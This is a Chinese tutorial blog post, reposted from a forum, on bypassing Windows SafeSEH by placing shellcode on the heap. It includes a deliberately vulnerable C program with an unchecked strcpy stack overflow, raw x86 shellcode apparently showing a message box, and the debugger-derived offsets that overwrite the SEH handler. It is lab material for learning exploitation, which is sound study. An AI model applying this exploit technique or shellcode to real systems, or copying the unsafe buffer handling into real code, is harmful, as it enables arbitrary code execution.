突破SafeSEH机制之一——利用堆绕过SafeSEH

xiaoxiao2021-02-28  71

文章是发在吾爱破解的,这里直接转过来了

我也是个新手,刚学漏洞调试,发现要学的东西太多,想要把漏洞学好,必须精通各类系统底层机制,汇编,PE等等等等太多太多,所以不可能把这些东西都学会了,再去调试漏洞,只能一步步慢慢从简单开始,另外也要学会忽略那些你现在所力不能及的地方,如果实在不懂,就跳过,可能到哪一天你忽然就明白了。所以这里,也是希望同学们想学习的不要被这个东西吓到,静下心来慢慢看,如果有不懂的,我可以倾尽所能告诉大家,我要是不懂,论坛里不是还有各种大神嘛,一起请教他们啊。

另外建议大家学习的时候,一定要亲力亲为,最好有自己的实验环境,搭个虚拟机调试一下,自己做过和看过是不一样的概念。 ——————————————————————————————————割—————————————————————————————————— 其实要说为了突破SEH机制,不需要深究太多原理,只要把SEH的基本原理,以及SEH链的结构整明白就行了,主要是那个链。(因为windows从没有公开过SEH的具体实现,都是靠大牛们逆向出来的) SEH:structured Exception Handling,结构化异常处理。 Windows上 ,Microsoft对C/C++程序语言做的语法扩展,用于处理异常事件的程序控制结构。 异常事件是打断程序正常执行流程的不在期望之中的硬件、软件事件。 硬件异常是CPU抛出的如“除0”、数值溢出等;软件异常是操作系统与程序通过RaiseException语句抛出的异常。 我们需要对SEH知道以下几点: 1、SEH是位于栈中的 2、栈中多个SEH通过链表指针在栈内串成单向链表,位于链表最顶端的SEH通过TEB(线程环境块)0字节处的指针标示(fs:[0]) 3、如果源代码中使用了__try{}  __except{},编译器会向当前函数栈帧安装一个SEH 4、每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄(敲黑板敲黑板!!)———所以我们覆盖的是这个异常处理函数句柄 5、当离事故现场最近的异常处理函数处理不了的时候,顺着这个SEH链表依次尝试其他的异常处理函数,如果都没处理,就交给系统的顶层异常处理函数 SEH链表如下:   ——————————————————————————————————手工分割线—————————————————————————————————————— SafeSEH Windows XP sp2以后微软引入了著名的SafeSEH机制,在程序调用异常处理函数之前,会对要调用的异常处理函数进行有效性校验,当发现异常函数不可靠时,将终止异常处理函数的调用。 SafeSEH流程(我估计是这张图让大家蒙X了,是的,这张图是本帖最难的=。=) 其实没必要完全整明白,只需要知道,函数在跳向异常处理函数的时候,会对这个函数进行各种各样的有效性检查就够了。   突破思路: 那么有3种情况,系统可以允许异常处理函数执行: 1、异常处理函数位于加载模块内存范围之外,DEP关闭( 下下次写这个 2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL( 下一次写这个 3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中( 放弃 可以看到,我们突破SafeSEH的方法分为3种 1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行 2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行 3、由于SafeSEH表加密,对于新手的我暂时不考虑了。 利用堆绕过SafeSEH 今天先利用一个简单的方法绕过SafeSEH 原理: 如果SEH中的异常处理函数指针指向堆区,即使安全校验发现了SEH不可信,仍然会调用已经被修改过的异常处理函数,因此可以将shellcode布置到堆区就可以执行了。 调试环境: SP sp3 vs2008 Release版本 有没有大神看到我的这个问题!!)DEP这个问题我想请教一下大家,书中要求关闭,我看我的vs里面没有关闭,也没有影响实验结果。如下图:   调试思路: 这次的比较简单 1、确定shellcode在堆中的地址->在malloc后面下一个int3中断,eax存放的是堆分配的地址,也即shellcode拷贝的首地址 2、确定SEH指针地址(确定覆盖地址),确定shellcode在栈中的首地址,计算shellcode大小 源程序: [C]  纯文本查看  复制代码 ? 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h>#include <stdlib.h> #include <string.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ;   int zero = 0; void test( char *input) {          char str[200];          strcpy (str, input);          zero = 1/zero; }   void main() {          char * buf=( char *) malloc (500);          __asm int 3          strcpy (buf,shellcode);          test(shellcode);        } 第一步: 先将shellcode设置为200字节,调试后在确定还需要多远才能覆盖掉SEH指针 直接双击Release程序,OD开始调试:   得到 堆地址:0x003929B8 第二步:   运行到test中的strcpy,可以直接运行到循环结束,我是不想看汇编了,搜索FC68字符,直接定位 shellcode在栈中的位置:0x0012FE8C 然后直接F9,查看SEH链情况:   SEH地址0x0012FFB0+4 所以能够得出 shellcode大小为0x12FFB4-0x12FE8C+4=300 所以填充shellcode后,代码如下: [C]  纯文本查看  复制代码 ? 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xB8\x29\x39\x00" //address of shellcode in heap ;   int zero = 0; void test( char *input) {          char str[200];          strcpy (str, input);          zero = 1/zero; }   void main() {          char * buf=( char *) malloc (500);          //__asm int 3          strcpy (buf,shellcode);          test(shellcode);        }
转载请注明原文地址: https://www.6miu.com/read-39048.html

最新回复(0)